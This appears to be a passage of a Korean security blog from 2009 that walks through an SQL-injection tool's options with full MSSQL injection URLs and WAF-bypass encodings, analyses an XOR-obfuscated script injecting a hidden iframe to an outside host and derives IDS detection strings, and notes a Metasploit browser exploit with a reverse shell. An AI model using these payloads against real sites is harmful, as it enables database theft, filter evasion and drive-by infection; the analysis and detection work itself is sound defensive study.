/board_view.asp?num=16+and+(select+top+1+cast([name]+as+nvarchar(500))%2bchar(94)+from+[master].[dbo].[sysdatabases]+where+[dbid]+in+(select+top+1+[dbid]+from+[master].[dbo].[sysdatabases]+order+by+[dbid]+desc))%3E0--


Replace space as %09

/board_view.asp?num=16%09and%09(select%09top%091%09cast([name]%09as%09nvarchar(500))%2bchar(94)%09from%09[master].[dbo].[sysdatabases]%09where%09[dbid]%09in%09(select%09top%091%09[dbid]%09from%09[master].[dbo].[sysdatabases]%09order%09by%09[dbid]%09desc))%3E0--


Replace space as [TAB]

/board_view.asp?num=16%09and%09(select%09top%091%09cast([name]%09as%09nvarchar(500))%2bchar(94)%09from%09[master].[dbo].[sysdatabases]%09where%09[dbid]%09in%09(select%09top%091%09[dbid]%09from%09[master].[dbo].[sysdatabases]%09order%09by%09[dbid]%09desc))%3E0-- 

%09가 Character형으로 TAB을 의미하기 때문에 %09 옵션이나 [TAB] 옵션이나 동일한 쿼리를 날리고 있습니다.


Bypass firewall filter when 'select' is not allow

select라는 문자열이 허용되지 않을 경우 이를 우회하는 옵션입니다.

/board_view.asp?num=16%20and%20(se%l%e%c%t%20top%201%20cast([name]%20as%20nvarchar(500))%2bchar(94)%20from%20[master].[dbo].[sysdatabases]%20where%20[dbid]%20in%20(se%l%e%c%t%20top%201%20[dbid]%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid]%20desc))%3E0--

select를 se%l%e%c%t로 변경시켜 쿼리를 날립니다. %만 있는 경우 웹서버를 이를 무시하기 때문에 결국 select라는 문자열만 인식하게 됩니다. HTTP를 통해 들어오는 패킷을 그대로 확인하는 IDS나 WAF라면 탐지를 못하겠지만 이를 웹서버에서 인식하는 형태로 디코딩해서 탐지하는 장비라면 이 옵션 또한 무용지물이 되겠죠.


URI Encode Mode

/board_view.asp?num=%31%36%20%61%6e%64%20%28%73%65%6c%65%63%74%20%74%6f%70%20%31%20%63%61%73%74%28%5b%6e%61%6d%65%5d%20%61%73%20%6e%76%61%72%63%68%61%72%28%35%30%30%29%29%2b%63%68%61%72%28%39%34%29%20%66%72%6f%6d%20%5b%6d%61%73%74%65%72%5d%2e%5b%64%62%6f%5d%2e%5b%73%79%73%64%61%74%61%62%61%73%65%73%5d%20%77%68%65%72%65%20%5b%64%62%69%64%5d%20%69%6e%20%28%73%65%6c%65%63%74%20%74%6f%70%20%31%20%5b%64%62%69%64%5d%20%66%72%6f%6d%20%5b%6d%61%73%74%65%72%5d%2e%5b%64%62%6f%5d%2e%5b%73%79%73%64%61%74%61%62%61%73%65%73%5d%20%6f%72%64%65%72%20%62%79%20%5b%64%62%69%64%5d%20%64%65%73%63%29%29%3E%30%2d%2d


모든 문자열을 헥사값으로 바꿔서 쿼리를 날립니다. 뭐 결국 디코딩하면 위에서 보셨던 쿼리랑 동일한 쿼리가 나오겠지만요..


Enable BT Model (bypass firewall)

언어를 한글로 바꾸면 "변태모드"라고 나옵니다. -_-;;

/board_view.asp?num=16%20an%d%20(se%l%e%c%t%20to%p%201%20ca%st([name]%20as%20nvarch%ar(500))%2bch%ar(94)%20fr%om%20[master].[dbo].[sysdatabases]%20wh%ere%20[dbid]%20in%20(se%l%e%c%t%20to%p%201%20[dbid]%20fr%om%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid]%20desc))%3E0--

중간중간에 %를 마구잡이로 집어 넣어서 쿼리를 날립니다. 그래서 변태모드인가 봅니다.


Stop after error happens(access data)

/board_view.asp?num=16%20and%20(select%20top%201%20cast([name]%20as%20nvarchar(500))%2bchar(94)%20from%20[master].[dbo].[sysdatabases]%20where%20[dbid]%20in%20(select%20top%201%20[dbid]%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid]%20desc))%3E0--

기본 옵션인 Auto-analyzing keyword와 동일하게 공백을 %20으로 만들어서 보냅니다. 옵션 이름으로 해석하면 데이터 접근시 에러가 발생하면 멈추라는 옵션인 듯 한데 어떤 에러에서 멈추라는 의미인지 확인을 못했습니다. 제가 테스트한 서버에서는 계속 타입 불일치로 500 에러를 내면서 계속 결과를 받아왔습니다. 이 결과로 보아 원하는 값을 계속 가져올 수 없는 에러가 발생할 때 멈추라는 것으로 생각할 수 있겠습니다.


Auto check record count of tables

/board_view.asp?num=16%20and%20(select%20top%201%20cast([name]%20as%20nvarchar(500))%2bchar(94)%20from%20[master].[dbo].[sysdatabases]%20where%20[dbid]%20in%20(select%20top%201%20[dbid]%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid]%20desc))%3E0--


다른 기능들은 그냥 한번 써보시면 어떤 기능인지 대충 감은 잡히실겁니다.
좀 더 자세하게 보고 싶었지만 귀찮아서 여기서 끝낼까 합니다...(별로 한것도 없는데 여기서 끝내냐!!! -_-;;)


한가지 달라졌던건 MSSQL2005에서 xp_cmdshell을 이용해서 명령어를 실행하는 부분이었습니다.
MSSQL2005에서는 xp_cmdshell이 기본적으로 막혀 있기 때문에 다시 활성화시켜야 합니다. 그런데 2.x 버전에서는 DB Type이 MSSQL2005 with Error인 경우 활성화를 시켜도 잘 실행이 되지 않았습니다.

Pro 3.0에서는 Restore xp_cmdshell 옵션이 잘 먹혀서 명령어 실행하는데 문제가 없었습니다.
단, 여전히 이상한건 결과가 한번이 아니라 5번 정도 나온다는것이었습니다.
왜 그런지는 아직 확실히 파악을 못했습니다. -_-


다른 더 많은 기능들에 대한 분석은 나중에 시간내서 차분히 해봐야겠습니다.








Posted by demantos
0x02 analysis2009. 12. 29. 10:33


이전글에서 보셨던 charCodeAt(i)^1 이외에도 charCodeAt(i)-1 과 같은 형태로 있었습니다.

어쨋든 charCodeAt(i)^1로 치환한 놈들은 charCodeAt(i)^1로 다시 치환하면 원문자열이 나오고
charCodeAt(i)-1로 치환한 놈들은 charCodeAt(i)+1로 다시 치환하면 원문자열이 나옵니다.

그럼 charCodeAt(i)-8로 치환된 문자열은 어떻게 해야 원문자열이 나올까요?




보시는바와 같이 -8을 해서 나온 문자열을 동일한 함수에 다시 +8을 하면 원문자열이 나옵니다.

결국 IDS에 추가할려고 했던 패턴들은 일부만 탐지할 수 있다는 단점을 안고 있습니다.

어떤 수식을 썼냐에 따라서 문자열이 달라질 수 있기 때문이죠..


이 생각도 해봤습니다.

Response에서 charCodeAt으로 탐지를 해볼까...

하지만 이걸로 탐지를 할 경우 오탐율이 높아진다는 단점이 있습니다.

낮은 정탐율이냐 높은 오탐율이냐 중 하나를 고르라면 낮은 정탐율이 낫겠죠..

아무튼 좀 더 생각을 해봐야 할 문제인 듯 합니다.






Posted by demantos
0x02 analysis2009. 12. 28. 18:26

뭐 지금까지 다양한 삽입된 스크립트들을 많이 보았는데요
오늘은 지금까지와는 좀 다른 형태를 봐서 포스팅합니다.

이런 형태를 보셨던 분들도 계시겠지만 저는 오늘이 처음이네요..^^;

<script>
q="=hgs`ld!rsb<iuuq;..mhwd,bntouds/hogn.ru`ur.ho/qiq!vheui<0!idhfiu<0!ruxmd<&whrhchmhux;iheedo&?=.hgs`ld?";
w="";
for(i=0;i<q.length;i++)
{
 w=w+String.fromCharCode(q.charCodeAt(i)^1);
};
document.write(w);
</script>


요즘은 iframe 삽입을 탐지하거나 차단하는 경우가 많아서 그런지 이걸 우회할려는 의도로 보입니다.
디코딩해보면...

<iframe src=http://live-counter.info/stats/in.php width=1 height=1 style='visibility:hidden'></iframe>


디코딩이라기 보다는 이상한 문자열을 함수에 넣어서 돌린 결과라고 하는게 맞겠네요..
결국 iframe이 나오네요...

for문을 돌면서 한글자씩 읽어와서 문자를 치환하는 방식을 사용했는데요 붉은색으로 된 부분만 보시면

=hgs`ld!rsb<iuuq;..
<iframe src=http://


이런식으로 치환이 되어 있습니다.
결국 iframe으로 삽입을 한다면 붉은색으로 된 부분은 항상 같은 형태가 나올 수 있다는 것이지요.
<script src=http:// 를 사용한다면 물론 달라지겠구요..

그런데 <iframe src=" 를 쓸지 <iframe src= 를 쓸지에 따라서 치환된 문자 형태가 달라질 것으로 보입니다.
결국 <iframe src=과 <script src=을 치환시켜 IDS에 패턴을 넣어서 추이를 살펴봐야 할 것으로 생각됩니다.

이런 패턴이 많아지면 귀찮을 것 같은데요..
좀 지켜봐야 할 것 같습니다.

--------------------------------------------------------------------------------------------------

내침김에 IDS 패턴 만들어 봤습니다.
귀찮을거라 예상했는데 생각보다 단순했습니다.

w=w+String.fromCharCode(q.charCodeAt(i)^1); 에 입력되는 문자열을 <iframe src= 와 <script src= 를
입력했더니 치환된 문자열이 나왔습니다.


패턴명 : <iframe src=
탐지문자열 : =hgs`ld!rsb<

패턴명 : <script src=
탐지문자열 : =rbshqu!rsb<


제가 사용했던 스크립트 코드 첨부합니다. 굵은색으로 된 부분이 <iframe src= <script src=을 치환한 for문입니다.

<script>
q="=hgs`ld!rsb<iuuq;..";
p="<iframe src=";
r="<script src=";
w="";
x="";
y="";

for(i=0;i<q.length;i++)
{
        w=w+String.fromCharCode(q.charCodeAt(i)^1);
};

for(i=0;i<p.length;i++)
{
        x=x+String.fromCharCode(p.charCodeAt(i)^1);
};

for(i=0;i<r.length;i++)
{
        y=y+String.fromCharCode(r.charCodeAt(i)^1);
}

document.write("<textarea rows=5 cols=100>");
document.write(w);
document.write("</textarea>");
document.write("<textarea rows=5 cols=100>");
document.write(x);
document.write("</textarea>");
document.write("<textarea rows=5 cols=100>");
document.write(y);
document.write("</textarea>");
</script>


Posted by demantos
0x02 analysis2009. 12. 23. 15:21


exploit : windows/browser/adobe_media_newplayer
payload : generic/shell_reverse_tcp


click below




bindshell, execute command 모두 잘 됩니다.
아직 테스트 안해본건 executable download and execute인데 이것도 잘 될것으로 예상됩니다.
봇넷이 늘어나는게 아닌가 걱정되네요...


Posted by demantos